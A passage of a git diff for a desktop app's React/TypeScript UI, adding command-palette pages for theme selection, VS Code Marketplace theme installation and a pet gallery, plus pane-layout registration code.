+    availableThemes,
+    configFieldLabel,
+    go,
+    goSession,
+    mcpServers,
+    mode,
+    resolvedMode,
+    search,
+    sessions,
+    setMode,
+    setTheme,
+    settingsSectionLabel,
+    t,
+    themeName
+  ])
+
+  // Branch rows rank below BOTH the fixed groups and the typed-only lists: they
+  // scale with whatever worktrees happen to exist, so on a tie they're the least
+  // likely thing meant. Everything above is either always-present chrome or a
+  // list the search itself asked for.
+  const groups = useMemo(
+    () => [...baseGroups, ...searchGroups, ...branchGroup],
+    [baseGroups, branchGroup, searchGroups]
+  )
+
+  // Nested palette pages (VS Code-style submenus). Reusable: add an entry here
+  // and point a root item at it via `to`.
+  const subPages = useMemo<Record<string, PalettePage>>(
+    () => ({
+      theme: {
+        title: t.settings.appearance.themeTitle,
+        placeholder: t.settings.appearance.themeDesc,
+        groups: [
+          // Pinned at the top: drills into the Marketplace browser.
+          {
+            items: [
+              {
+                icon: Download,
+                id: 'theme-install',
+                keywords: ['install', 'marketplace', 'vscode', 'vs code', 'download', 'new', 'color'],
+                label: t.commandCenter.installTheme.title,
+                to: 'install-theme'
+              }
+            ]
+          },
+          // Built-ins and imported families list under the mode(s) they support;
+          // picking sets skin + mode at once. A multi-variant import (GitHub,
+          // Solarized) appears in both groups and switches variants with the mode.
+          ...(['light', 'dark'] as const).map(groupMode => ({
+            heading: groupMode === 'light' ? t.settings.modeOptions.light.label : t.settings.modeOptions.dark.label,
+            items: availableThemes
+              .filter(theme => themeSupportsMode(theme.name, groupMode))
+              .map(theme => ({
+                active: themeName === theme.name && resolvedMode === groupMode,
+                icon: groupMode === 'light' ? Sun : Moon,
+                id: `theme-${theme.name}-${groupMode}`,
+                keepOpen: true,
+                keywords: ['theme', 'appearance', 'palette', groupMode, theme.label, theme.description ?? ''],
+                label: theme.label,
+                run: () => {
+                  setTheme(theme.name)
+                  setMode(groupMode)
+                }
+              }))
+          }))
+        ]
+      },
+      'color-mode': {
+        title: t.settings.appearance.colorMode,
+        placeholder: t.settings.appearance.colorModeDesc,
+        groups: [
+          {
+            heading: t.settings.appearance.colorMode,
+            items: THEME_MODES.map(entry => ({
+              active: mode === entry.mode,
+              icon: entry.icon,
+              id: `mode-${entry.mode}`,
+              keepOpen: true,
+              keywords: ['appearance', 'brightness', t.settings.modeOptions[entry.mode].label],
+              label: t.settings.modeOptions[entry.mode].label,
+              run: () => setMode(entry.mode)
+            }))
+          }
+        ]
+      },
+      // Server-driven page: browse petdex gallery, adopt/switch, toggle off.
+      pets: {
+        title: t.commandCenter.pets.title,
+        placeholder: t.commandCenter.pets.placeholder,
+        groups: []
+      },
+      // Server-driven page: items come from the Marketplace, rendered by
+      // <MarketplaceThemePage> (loader + live search + per-row install).
+      'install-theme': {
+        title: t.commandCenter.installTheme.pageTitle,
+        placeholder: t.commandCenter.installTheme.placeholder,
+        groups: []
+      }
+    }),
+    [availableThemes, mode, resolvedMode, setMode, setTheme, t, themeName]
+  )
+
+  const activePage = page ? subPages[page] : null
+  const unrankedGroups = activePage ? activePage.groups : groups
+  const visibleGroups = useMemo(() => rankGroups(unrankedGroups, search), [unrankedGroups, search])
+  const placeholder = activePage ? activePage.placeholder : t.commandCenter.searchPlaceholder
+
+  const handleSelect = (item: PaletteItem) => {
+    if (item.to) {
+      setPage(item.to)
+      setSearch('')
+
+      return
+    }
+
+    if (item.runWithEvent) {
+      item.runWithEvent(lastSelectMods.current)
+    } else {
+      item.run?.()
+    }
+
+    // Clear stashed modifiers so a plain Enter after a ⌘-click isn't sticky.
+    lastSelectMods.current = { ctrlKey: false, metaKey: false, shiftKey: false }
+
+    if (!item.keepOpen) {
+      closeCommandPalette()
+
+      return
+    }
+
+    // Staying open means the rows are still on screen — re-read anything they
+    // report (a toggle's on/off) so the note isn't showing the previous state.
+    setSelectTick(tick => tick + 1)
+  }
+
+  return (
+    <DialogPrimitive.Portal>
+      {/* Transparent overlay: keeps click-away + focus trap, but no dim/blur. */}
+      <DialogPrimitive.Overlay className="fixed inset-0 z-(--z-over-modal)" />
+      <DialogPrimitive.Content
+        aria-describedby={undefined}
+        className={cn(
+          HUD_POSITION,
+          HUD_SURFACE,
+          'z-(--z-over-modal-content) w-[min(34rem,calc(100vw-2rem))] overflow-hidden duration-150 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[state=open]:animate-in data-[state=open]:fade-in-0 data-[state=open]:slide-in-from-top-2 data-[state=open]:zoom-in-95'
+        )}
+        // The close animation finishing is what retires this whole subtree —
+        // the CSS owns the duration, not a hardcoded timer. Guarded on the
+        // content itself (descendants animate too) and on the closed state, so
+        // an OPEN animation never unmounts the palette we just opened.
+        onAnimationEnd={event => {
+          if (event.target === event.currentTarget && event.currentTarget.dataset.state === 'closed') {
+            onExited()
+          }
+        }}
+      >
+        <DialogPrimitive.Title className="sr-only">{t.commandCenter.paletteTitle}</DialogPrimitive.Title>
+        <Command className="bg-transparent" loop shouldFilter={false}>
+          {activePage && (
+            <button
+              className="flex w-full items-center gap-1.5 border-b border-border px-3 py-1.5 text-left text-xs text-muted-foreground transition-colors hover:text-foreground"
+              onClick={goBack}
+              type="button"
+            >
+              <ChevronLeft className="size-3.5" />
+              <span>{t.commandCenter.back}</span>
+              <span className="text-muted-foreground/50">/</span>
+              <span className="font-medium text-foreground">{activePage.title}</span>
+            </button>
+          )}
+          <CommandInput
+            className={HUD_TEXT}
+            onKeyDown={event => {
+              // Capture modifiers before cmdk's Enter fires onSelect (which
+              // swipes the inviting MouseEvent and hands us nothing).
+              noteSelectMods(event)
+
+              if (!activePage) {
+                return
+              }
+
+              // In a submenu: Esc and empty-input Backspace step back out
+              // instead of closing the whole palette.
+              if (event.key === 'Escape' || (event.key === 'Backspace' && search === '')) {
+                event.preventDefault()
+                event.stopPropagation()
+                goBack()
+
+                return
+              }
+            }}
+            onValueChange={setSearch}
+            placeholder={placeholder}
+            right={page === 'pets' ? <PetInlineToggle /> : undefined}
+            value={search}
+          />
+          <CommandList className="dt-portal-scrollbar max-h-[min(20rem,56vh)]">
+            {/* Server-driven pages render their own list; the rest show groups. */}
+            {page === 'pets' ? (
+              <PetPalettePage
+                onGenerate={() => {
+                  closeCommandPalette()
+                  openPetGenerate()
+                }}
+                search={search}
+              />
+            ) : page === 'install-theme' ? (
+              <MarketplaceThemePage onPickTheme={setTheme} search={search} />
+            ) : (
+              <PaletteGroups
+                bindings={bindings}
+                groups={visibleGroups}
+                modHeld={modHeld}
+                noResultsLabel={t.commandCenter.noResults}
+                onSelectItem={handleSelect}
+                onSelectMods={noteSelectMods}
+                search={search}
+              />
+            )}
+          </CommandList>
+        </Command>
+      </DialogPrimitive.Content>
+    </DialogPrimitive.Portal>
+  )
+}
diff --git a/ui-desktop/src/app/command-palette/marketplace-theme-page.tsx b/ui-desktop/src/app/command-palette/marketplace-theme-page.tsx
new file mode 100644
index 000000000..b49aa6a4b
--- /dev/null
+++ b/ui-desktop/src/app/command-palette/marketplace-theme-page.tsx
@@ -0,0 +1,172 @@
+/**
+ * Cmd-K "Install theme…" page.
+ *
+ * Browses the VS Code Marketplace for color themes: an empty query shows the
+ * most-installed themes, typing runs a live (debounced) search against the
+ * Marketplace. Selecting a row downloads + converts + installs it via the same
+ * pipeline as the settings importer, then activates it — and stays open so the
+ * user can grab several.
+ */
+
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import { useEffect, useState } from 'react'
+
+import { HUD_ITEM, HUD_TEXT } from '@/app/floating-hud'
+import type { DesktopMarketplaceSearchItem } from '@/global'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Check, Download, Loader2, Palette } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { installVscodeThemeFromMarketplace } from '@/themes/install'
+import { $marketplaceInstalls } from '@/themes/user-themes'
+
+const compactNumber = new Intl.NumberFormat(undefined, { notation: 'compact', maximumFractionDigits: 1 })
+
+function useDebounced<T>(value: T, delayMs: number): T {
+  const [debounced, setDebounced] = useState(value)
+
+  useEffect(() => {
+    const handle = setTimeout(() => setDebounced(value), delayMs)
+
+    return () => clearTimeout(handle)
+  }, [value, delayMs])
+
+  return debounced
+}
+
+interface MarketplaceThemePageProps {
+  search: string
+  /** Activate a freshly installed theme by slug. */
+  onPickTheme: (name: string) => void
+}
+
+export function MarketplaceThemePage({ search, onPickTheme }: MarketplaceThemePageProps) {
+  const { t } = useI18n()
+  const copy = t.commandCenter.installTheme
+  const debouncedSearch = useDebounced(search.trim(), 300)
+  const installs = useStore($marketplaceInstalls)
+  const [installingId, setInstallingId] = useState<string | null>(null)
+  const [installError, setInstallError] = useState<string | null>(null)
+
+  const query = useQuery({
+    queryKey: ['marketplace-themes', debouncedSearch],
+    queryFn: () => window.clawcodexDesktop?.themes?.searchMarketplace(debouncedSearch) ?? Promise.resolve([]),
+    staleTime: 5 * 60 * 1000
+  })
+
+  // Already installed → just re-activate it; never re-download what we have.
+  const select = (item: DesktopMarketplaceSearchItem) => {
+    const owned = installs.get(item.extensionId)
+
+    if (owned) {
+      triggerHaptic('crisp')
+      onPickTheme(owned.name)
+
+      return
+    }
+
+    void install(item)
+  }
+
+  const install = async (item: DesktopMarketplaceSearchItem) => {
+    if (installingId) {
+      return
+    }
+
+    setInstallingId(item.extensionId)
+    setInstallError(null)
+
+    try {
+      const theme = await installVscodeThemeFromMarketplace(item.extensionId)
+
+      triggerHaptic('crisp')
+      onPickTheme(theme.name)
+    } catch (error) {
+      setInstallError(error instanceof Error ? error.message : copy.error)
+    } finally {
+      setInstallingId(null)
+    }
+  }
+
+  if (query.isLoading) {
+    return <Status icon={<Loader2 className="size-3.5 animate-spin" />} text={copy.loading} />
+  }
+
+  if (query.isError) {
+    return <Status text={copy.error} tone="error" />
+  }
+
+  const results = query.data ?? []
+
+  if (results.length === 0) {
+    return <Status text={copy.empty} />
+  }
+
+  return (
+    <div role="listbox">
+      {installError && <p className="px-2 pb-1 pt-1.5 text-[0.6875rem] text-(--ui-red)">{installError}</p>}
+      {results.map(item => {
+        const busy = installingId === item.extensionId
+        const done = installs.has(item.extensionId)
+
+        return (
+          <button
+            className={cn(
+              'flex w-full items-start rounded-md text-left transition-colors hover:bg-(--chrome-action-hover) disabled:opacity-60 aria-disabled:opacity-60',
+              HUD_ITEM,
+              HUD_TEXT
+            )}
+            disabled={Boolean(installingId) && !busy}
+            key={item.extensionId}
+            onClick={() => select(item)}
+            onMouseDown={event => event.preventDefault()}
+            role="option"
+            type="button"
+          >
+            <Palette className="mt-0.5 size-3.5 shrink-0 text-muted-foreground" />
+            <span className="flex min-w-0 flex-col">
+              <span className="truncate font-medium">{item.displayName}</span>
+              <span className="truncate text-[0.6875rem] text-muted-foreground/80">
+                {item.publisher}
+                {item.installs > 0 ? ` · ${copy.installs(compactNumber.format(item.installs))}` : ''}
+              </span>
+            </span>
+            <span className="ml-auto mt-0.5 flex shrink-0 items-center gap-1 text-[0.6875rem] text-muted-foreground">
+              {busy ? (
+                <>
+                  <Loader2 className="size-3 animate-spin" />
+                  {copy.installing}
+                </>
+              ) : done ? (
+                <>
+                  <Check className="size-3 text-(--ui-green)" />
+                  {copy.installed}
+                </>
+              ) : (
+                <>
+                  <Download className="size-3" />
+                  {copy.install}
+                </>
+              )}
+            </span>
+          </button>
+        )
+      })}
+    </div>
+  )
+}
+
+function Status({ icon, text, tone }: { icon?: React.ReactNode; text: string; tone?: 'error' }) {
+  return (
+    <div
+      className={cn(
+        'flex items-center justify-center gap-2 px-2 py-6 text-xs',
+        tone === 'error' ? 'text-(--ui-red)' : 'text-muted-foreground'
+      )}
+    >
+      {icon}
+      {text}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/command-palette/pet-palette-page.tsx b/ui-desktop/src/app/command-palette/pet-palette-page.tsx
new file mode 100644
index 000000000..241bb4331
--- /dev/null
+++ b/ui-desktop/src/app/command-palette/pet-palette-page.tsx
@@ -0,0 +1,214 @@
+/**
+ * Cmd-K "Pets…" page — browse the petdex gallery, adopt/switch, toggle off.
+ *
+ * A thin view over the `pet-gallery` store: it subscribes to the shared atoms
+ * and calls the store's actions. The store owns fetching, caching, the thumb
+ * cache, and optimistic mutations, so reopening this page is instant and a
+ * toggle never re-pulls the network gallery.
+ */
+
+import { useStore } from '@nanostores/react'
+import { useEffect, useMemo } from 'react'
+
+import { HUD_ITEM, HUD_TEXT } from '@/app/floating-hud'
+import { useGatewayRequest } from '@/app/gateway/hooks/use-gateway-request'
+import { PetThumb } from '@/components/pet/pet-thumb'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Check, Egg, Loader2, PawPrint } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import {
+  $petBusy,
+  $petGallery,
+  $petGalleryError,
+  $petGalleryStatus,
+  adoptPet,
+  loadPetGallery,
+  loadPetThumb,
+  rankedGalleryPets,
+  setPetEnabled
+} from '@/store/pet-gallery'
+
+interface PetPalettePageProps {
+  search: string
+  /** Navigate to the "generate a pet" page (rendered as a header action). */
+  onGenerate?: () => void
+}
+
+export function PetPalettePage({ search, onGenerate }: PetPalettePageProps) {
+  const { t } = useI18n()
+  const copy = t.commandCenter.pets
+  const { requestGateway } = useGatewayRequest()
+
+  const gallery = useStore($petGallery)
+  const status = useStore($petGalleryStatus)
+  const error = useStore($petGalleryError)
+  const busy = useStore($petBusy)
+
+  useEffect(() => {
+    void loadPetGallery(requestGateway)
+  }, [requestGateway])
+
+  const enabled = gallery?.enabled ?? false
+  const active = gallery?.active ?? ''
+
+  const shown = useMemo(() => rankedGalleryPets(gallery, search).slice(0, 50), [gallery, search])
+
+  const adopt = (slug: string) => {
+    void adoptPet(requestGateway, slug, copy.adoptFailed).then(ok => ok && triggerHaptic('crisp'))
+  }
+
+  if (status === 'loading' && !gallery) {
+    return <Status icon={<Loader2 className="size-3.5 animate-spin" />} text={copy.loading} />
+  }
+
+  if (status === 'stale') {
+    return <Status text={copy.staleBackend} tone="error" />
+  }
+
+  if (!gallery?.pets.length && error) {
+    return <Status text={error} tone="error" />
+  }
+
+  const mutating = Boolean(busy)
+
+  return (
+    <div role="listbox">
+      {onGenerate && (
+        <button
+          className={cn(
+            'flex w-full items-center gap-2 rounded-md text-left text-foreground transition-colors hover:bg-(--chrome-action-hover)',
+            HUD_ITEM,
+            HUD_TEXT
+          )}
+          onClick={onGenerate}
+          onMouseDown={event => event.preventDefault()}
+          type="button"
+        >
+          <span className="flex size-8 shrink-0 items-center justify-center rounded-md bg-(--chrome-action-hover)">
+            <Egg className="size-4" />
+          </span>
+          <span className="font-medium">{t.commandCenter.generatePet.title}</span>
+        </button>
+      )}
+
+      {error && <p className="px-2 pb-1 pt-1.5 text-[0.6875rem] text-(--ui-red)">{error}</p>}
+
+      {shown.length === 0 ? (
+        <Status text={copy.empty} />
+      ) : (
+        shown.map(pet => {
+          const isActive = enabled && pet.slug === active
+          const isBusy = busy === pet.slug
+
+          return (
+            <button
+              className={cn(
+                'flex w-full items-center gap-2 rounded-md text-left transition-colors hover:bg-(--chrome-action-hover) disabled:opacity-60',
+                HUD_ITEM,
+                HUD_TEXT,
+                isActive && 'bg-(--chrome-action-hover)/70'
+              )}
+              disabled={mutating && !isBusy}
+              key={pet.slug}
+              onClick={() => adopt(pet.slug)}
+              onMouseDown={event => event.preventDefault()}
+              role="option"
+              type="button"
+            >
+              <PetThumb
+                alt={pet.displayName}
+                load={(slug, url) => loadPetThumb(requestGateway, slug, url)}
+                size={32}
+                slug={pet.slug}
+                url={pet.spritesheetUrl}
+              />
+              <span className="flex min-w-0 flex-col">
+                <span className="flex items-center gap-1.5">
+                  <span className="truncate font-medium">{pet.displayName}</span>
+                  {pet.generated && (
+                    <span className="shrink-0 rounded-full bg-primary/15 px-1.5 py-px text-[0.625rem] font-medium text-primary">
+                      {copy.generatedTag}
+                    </span>
+                  )}
+                </span>
+                <span className="truncate text-[0.6875rem] text-muted-foreground/80">
+                  {pet.slug}
+                  {pet.installed ? ` · ${copy.installed}` : ''}
+                </span>
+              </span>
+              <span className="ml-auto flex shrink-0 items-center text-[0.6875rem] text-muted-foreground">
+                {isBusy ? (
+                  <Loader2 className="size-3 animate-spin" />
+                ) : isActive ? (
+                  <Check className="size-3.5 text-foreground" />
+                ) : null}
+              </span>
+            </button>
+          )
+        })
+      )}
+    </div>
+  )
+}
+
+/**
+ * Single on/off toggle, rendered inline on the palette's search row (see
+ * `CommandInput`'s `right` slot). The paw lights up when pets are on. Reads the
+ * same shared gallery atoms, so it stays in sync with the list below.
+ */
+export function PetInlineToggle() {
+  const { t } = useI18n()
+  const copy = t.commandCenter.pets
+  const { requestGateway } = useGatewayRequest()
+  const gallery = useStore($petGallery)
+  const busy = useStore($petBusy)
+
+  if (!gallery) {
+    return null
+  }
+
+  const enabled = gallery.enabled
+
+  const toggle = () => {
+    void setPetEnabled(requestGateway, !enabled, {
+      noneAvailable: copy.noneAvailable,
+      fallback: copy.toggleFailed(!enabled)
+    }).then(ok => ok && triggerHaptic('crisp'))
+  }
+
+  return (
+    <button
+      aria-label={enabled ? copy.turnOff : copy.turnOn}
+      aria-pressed={enabled}
+      className={cn(
+        'flex shrink-0 items-center justify-center rounded-md p-1.5 transition-colors disabled:opacity-50',
+        enabled
+          ? 'bg-(--chrome-action-hover) text-foreground'
+          : 'text-muted-foreground hover:bg-(--chrome-action-hover)/60'
+      )}
+      disabled={Boolean(busy)}
+      onClick={toggle}
+      // Don't steal focus from the search input on click.
+      onMouseDown={event => event.preventDefault()}
+      title={enabled ? copy.turnOff : copy.turnOn}
+      type="button"
+    >
+      {busy ? <Loader2 className="size-4 animate-spin" /> : <PawPrint className="size-4" />}
+    </button>
+  )
+}
+
+function Status({ icon, text, tone }: { icon?: React.ReactNode; text: string; tone?: 'error' }) {
+  return (
+    <div
+      className={cn(
+        'flex items-center justify-center gap-2 px-2 py-6 text-xs',
+        tone === 'error' ? 'text-(--ui-red)' : 'text-muted-foreground'
+      )}
+    >
+      {icon}
+      {text}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/contrib/context.tsx b/ui-desktop/src/app/contrib/context.tsx
new file mode 100644
index 000000000..881b65ae5
--- /dev/null
+++ b/ui-desktop/src/app/contrib/context.tsx
@@ -0,0 +1,36 @@
+import { createContext, memo, useContext } from 'react'
+
+import { DecodeText } from '@/components/ui/decode-text'
+
+import { StatusbarControls } from '../shell/statusbar-controls'
+
+import type { WiringApi } from './types'
+
+/** The controller publishes its wired surfaces here; every registered pane
+ *  / chrome slot reads one back through `WiredPane`. */
+export const ContribWiringContext = createContext<WiringApi | null>(null)
+
+/** Render a wired surface inside a registered pane / chrome slot.
+ *
+ *  Memoized on `part` (its only prop): a zone re-rendering for reasons that
+ *  don't touch the wiring — a drag hint sweeping the tree, a sash resize, an
+ *  edit-mode toggle — re-renders the group chrome but NOT this component, so
+ *  the (expensive) pane body it reads from context is untouched. When the
+ *  wiring's `api` genuinely changes, the context read re-renders it as normal. */
+export const WiredPane = memo(function WiredPane({ part }: { part: keyof WiringApi }) {
+  const api = useContext(ContribWiringContext)
+
+  if (!api) {
+    if (part === 'statusbar') {
+      return <StatusbarControls items={[]} leftItems={[]} />
+    }
+
+    return (
+      <div className="grid h-full place-items-center">
+        <DecodeText className="text-(--ui-text-quaternary)" cursor prefix={1} text="CLAWCODEX" />
+      </div>
+    )
+  }
+
+  return <>{api[part]}</>
+})
diff --git a/ui-desktop/src/app/contrib/controller.tsx b/ui-desktop/src/app/contrib/controller.tsx
new file mode 100644
index 000000000..529824bbb
--- /dev/null
+++ b/ui-desktop/src/app/contrib/controller.tsx
@@ -0,0 +1,768 @@
+import { useStore } from '@nanostores/react'
+import { atom, computed } from 'nanostores'
+import type { CSSProperties, ReactElement, PointerEvent as ReactPointerEvent } from 'react'
+
+import { SessionStatusDot } from '@/app/chat/session-status-dot'
+import { PALETTE_AREA, type PaletteContribution, paletteToggle } from '@/app/command-palette/contrib'
+import { type StatusbarItem } from '@/app/shell/statusbar-controls'
+import { IdleMount } from '@/components/idle-mount'
+import { $layoutEditMode, toggleLayoutEditMode } from '@/components/pane-shell/edit-mode'
+import { allPaneIds, group, groupLeafIds, split } from '@/components/pane-shell/tree/model'
+import { LayoutTreeRoot } from '@/components/pane-shell/tree/renderer'
+import type { DoubleTapContext } from '@/components/pane-shell/tree/renderer/drag-session'
+import {
+  $layoutTree,
+  bindPaneVisibility,
+  bindToolPaneCollapse,
+  bindTreeSideVisibility,
+  declareDefaultTree,
+  dismissTreePane,
+  isPaneVisible,
+  markCollapsePane,
+  mirrorLayoutTree,
+  paneRootSide,
+  registerLayoutResetHandler,
+  registerPaneCloser,
+  registerPaneOpener,
+  removeTreePane,
+  resetLayoutTree,
+  revealTreePane,
+  togglePaneVisible,
+  watchContributedPanes
+} from '@/components/pane-shell/tree/store'
+import { SidebarProvider } from '@/components/ui/sidebar'
+import { discoverBundledPlugins } from '@/contrib/plugins'
+import { Slot } from '@/contrib/react/slot'
+import { useContributions } from '@/contrib/react/use-contributions'
+import { registry } from '@/contrib/registry'
+import { discoverRuntimePlugins } from '@/contrib/runtime-loader'
+import { sessionTitle as storedSessionTitle } from '@/lib/chat-runtime'
+import { Download, FileText, LayoutDashboard, PanelBottom, Terminal, Upload, Zap } from '@/lib/icons'
+import { type KeybindContribution, KEYBINDS_AREA } from '@/lib/keybinds/actions'
+import { setYoloEnabled } from '@/lib/yolo-session'
+import { pruneComposerPopoutZones } from '@/store/composer-popout'
+import {
+  $fileBrowserOpen,
+  $panesFlipped,
+  $sidebarOpen,
+  FILE_BROWSER_DEFAULT_WIDTH,
+  FILE_BROWSER_MAX_WIDTH,
+  FILE_BROWSER_MIN_WIDTH,
+  setFileBrowserOpen,
+  setSidebarOpen,
+  SIDEBAR_DEFAULT_WIDTH,
+  SIDEBAR_MAX_WIDTH
+} from '@/store/layout'
+import { runExportProfileFlow, runImportProfileFlow } from '@/store/profile-share'
+import { $reviewOpen, closeReview, openReview, REVIEW_PANE_ID } from '@/store/review'
+import { $currentCwd, $selectedStoredSessionId, $sessions, $yoloActive, sessionMatchesStoredId } from '@/store/session'
+import { watchSessionPins } from '@/store/session-pin-sync'
+import { $statusbarVisible } from '@/store/statusbar-prefs'
+
+import type { SessionDragPayload } from '../chat/composer/inline-refs'
+import { watchPreviewTiles } from '../chat/preview-tile'
+import { watchRouteTiles } from '../chat/route-tile'
+import { startSessionDrag } from '../chat/session-drag'
+import {
+  SessionTileCloseConfirm,
+  stackSessionTilesIntoMain,
+  watchSessionTiles,
+  WorkspaceTabMenu
+} from '../chat/session-tile'
+import { $terminalTakeover, setTerminalTakeover } from '../right-sidebar/store'
+import { $workspaceIsPage } from '../routes'
+
+import { FilesPane, LogsPane, ReviewPaneContent } from './panes'
+import { ContribWiring, WiredPane } from './wiring'
+
+/**
+ * Stripped-down app root (bb/contrib-areas) on the layout TREE model, mounting
+ * the REAL app surfaces. The title bar and status bar sit OUTSIDE the grid
+ * (fixed chrome) but are fully composable: title bar renders `titleBar.left/
+ * right` slots; the status bar consumes `statusBar.left/right` DATA
+ * contributions (payload = StatusbarItem). Core registers its items through
+ * the same calls a plugin would use.
+ */
+
+// ---------------------------------------------------------------------------
+// Pane contributions. `data.placement` = semantic role for grid presets;
+// `data.minWidth/maxWidth/minHeight/maxHeight` = the SAME clamps the app's
+// `Pane` props declare — the layout tree sizes zones by weight (percentage)
+// but a zone never shrinks/grows past its active pane's clamp.
+// Headers are contextual (tree-side): a pane alone in a zone shows no
+// header/tab by default; stacked panes show chips. Double-click a zone
+// toggles its header either way.
+// ---------------------------------------------------------------------------
+
+// ONE render identity for the workspace pane — syncWorkspaceTitle re-registers
+// the contribution (new title) and a fresh closure would remount the chat.
+const renderWorkspacePane = () => <WiredPane part="chatRoutes" />
+
+// Boot-hidden panes mount behind display:none (instant-toggle contract) — defer
+// them to idle so they're off the first-paint path, warm before reveal.
+const idle = (node: ReactElement) => <IdleMount>{node}</IdleMount>
+// The main tab carries the same session context menu as tile tabs (targets
+// the loaded primary session; no menu on a fresh draft).
+const wrapWorkspaceTab = (tab: ReactElement) => <WorkspaceTabMenu>{tab}</WorkspaceTabMenu>
+
+/** The `@session` payload for the workspace tab — the loaded primary session,
+ *  or null on a fresh draft / full-page view (nothing to link). */
+const workspaceDragPayload = (): SessionDragPayload | null => {
+  const selected = $selectedStoredSessionId.get()
+
+  if (!selected || $workspaceIsPage.get()) {
+    return null
+  }
+
+  const stored = $sessions.get().find(s => sessionMatchesStoredId(s, selected))
+
+  return { id: selected, profile: stored?.profile ?? '', title: stored ? storedSessionTitle(stored) : '' }
+}
+
+// The main tab drags like a session tile — drop it on a composer to link the
+// chat, on a zone/edge to stack/split. Defers (`false`) to the generic pane
+// move when there's no loaded session to carry.
+const workspaceTabDrag = (event: ReactPointerEvent<HTMLElement>, onTap: () => void, double?: DoubleTapContext) => {
+  const payload = workspaceDragPayload()
+
+  if (!payload) {
+    return false
+  }
+
+  startSessionDrag(payload, event, { double, onTap })
+
+  return true
+}
+
+registry.registerMany([
+  {
+    id: 'sessions',
+    area: 'panes',
+    title: 'sessions',
+    // Collapsible: leaves the grid on narrow viewports (edge overlay instead).
+    // dock: where a RE-ADOPTED pane lands (healed from a stale dismissal) —
+    // its default-ish spot beside main, not a random same-placement stack.
+    data: {
+      placement: 'left',
+      collapsible: true,
+      dock: { pane: 'workspace', pos: 'left' },
+      revealAliases: ['chat-sidebar'],
+      width: `${SIDEBAR_DEFAULT_WIDTH}px`,
+      minWidth: `${SIDEBAR_DEFAULT_WIDTH}px`,
+      maxWidth: `${SIDEBAR_MAX_WIDTH}px`
+    },
+    render: () => <WiredPane part="sidebar" />
+  },
+  {
+    id: 'workspace',
+    area: 'panes',
+    // Live-retitled to the loaded session by syncWorkspaceTitle below.
+    title: 'New session',
+    data: {
+      placement: 'main',
+      minWidth: '22vw',
+      tabDrag: workspaceTabDrag,
+      tabWrap: wrapWorkspaceTab,
+      uncloseable: true
+    },
+    render: renderWorkspacePane
+  },
+  {
+    id: 'terminal',
+    area: 'panes',
+    title: 'terminal',
+    // revealOnPreset: choosing a layout that places the terminal (e.g.
+    // "Terminal deck") turns takeover on so the zone actually shows, instead of
+    // staying collapsed behind the ⌃` toggle. height sizes the fixed track (a
+    // single-pane zone declaring a height is a fixed track — the preset weight
+    // is moot): a short deck, not a third of the window.
+    //
+    // NO minHeight: a tool panel drags all the way down to its collapsed
+    // header (the sash floors it at COLLAPSED_ZONE_PX and folds the zone to
+    // its rail there). A real floor left a sliver of unusable terminal.
+    data: { placement: 'bottom', height: '20vh', maxHeight: '80vh', revealOnPreset: true },
+    render: () => <WiredPane part="terminal" />
+  },
+  {
+    id: 'files',
+    area: 'panes',
+    title: 'files',
+    // dock: re-adoption target after a stale dismissal (see sessions).
+    data: {
+      placement: 'right',
+      collapsible: true,
+      dock: { pane: 'workspace', pos: 'right' },
+      revealAliases: ['file-browser'],
+      width: FILE_BROWSER_DEFAULT_WIDTH,
+      minWidth: FILE_BROWSER_MIN_WIDTH,
+      maxWidth: FILE_BROWSER_MAX_WIDTH
+    },
+    render: () => idle(<FilesPane />)
+  },
+  {
+    id: 'review',
+    area: 'panes',
+    title: 'review',
+    // The second right sidebar: hidden until ⌘G ($reviewOpen) — bound below
+    // like the other chrome toggles; its zone collapses while hidden.
+    data: {
+      placement: 'right',
+      collapsible: true,
+      revealAliases: [REVIEW_PANE_ID],
+      width: FILE_BROWSER_DEFAULT_WIDTH,
+      minWidth: FILE_BROWSER_MIN_WIDTH,
+      maxWidth: FILE_BROWSER_MAX_WIDTH
+    },
+    render: () => idle(<ReviewPaneContent />)
+  }
+])
+
+// ---------------------------------------------------------------------------
+// Chrome contributions. The title bar and status bar are fixed chrome outside
+// the grid, composable through these areas. Everything real lives in the real
+// components (TitlebarControls / useStatusbarItems). Sample PLUGIN
+// contributions don't live here — they're their own files under `src/plugins/`,
+// auto-discovered by discoverBundledPlugins() below.
+// ---------------------------------------------------------------------------
+
+registry.registerMany([
+  // Titlebar center stays empty on purpose: session title lives in tabs +
+  // sidebar; place/cwd lives in the sidebar project tree. Center is drag
+  // chrome (plugins can still contribute to titleBar.center if needed).
+  // Layout edit mode registers through the SAME declarative surfaces plugins
+  // use: a rebindable keybind (collision-checked in the panel) + a ⌘K row
+  // whose hotkey hint tracks the live binding.
+  {
+    id: 'layout.editMode',
+    area: KEYBINDS_AREA,
+    data: {
+      id: 'layout.editMode',
+      label: 'Toggle layout edit mode',
+      defaults: ['mod+shift+\\'],
+      run: toggleLayoutEditMode
+    } satisfies KeybindContribution
+  },
+  paletteToggle({
+    id: 'layout.editMode',
+    label: 'Toggle layout edit mode',
+    action: 'layout.editMode',
+    icon: LayoutDashboard,
+    keywords: ['layout', 'zones', 'panes', 'edit', 'rearrange'],
+    get: () => $layoutEditMode.get(),
+    set: enabled => $layoutEditMode.set(enabled)
+  }),
+  // The agent's write -> see loop: rescan <clawcodex home>/desktop-plugins
+  // without relaunching (same-id reloads dispose the previous incarnation).
+  {
+    id: 'plugins.reload',
+    area: PALETTE_AREA,
+    data: {
+      id: 'plugins.reload',
+      label: 'Reload desktop plugins',
+      keywords: ['plugins', 'reload', 'refresh', 'desktop'],
+      run: () => void discoverRuntimePlugins()
+    } satisfies PaletteContribution
+  },
+  {
+    id: 'layout.reset',
+    area: PALETTE_AREA,
+    data: {
+      id: 'layout.reset',
+      label: 'Reset layout',
+      icon: LayoutDashboard,
+      keywords: ['layout', 'reset', 'default', 'panes'],
+      run: resetLayoutTree
+    } satisfies PaletteContribution
+  },
+  // Hiding the bar removes the surface that would otherwise offer it back, so
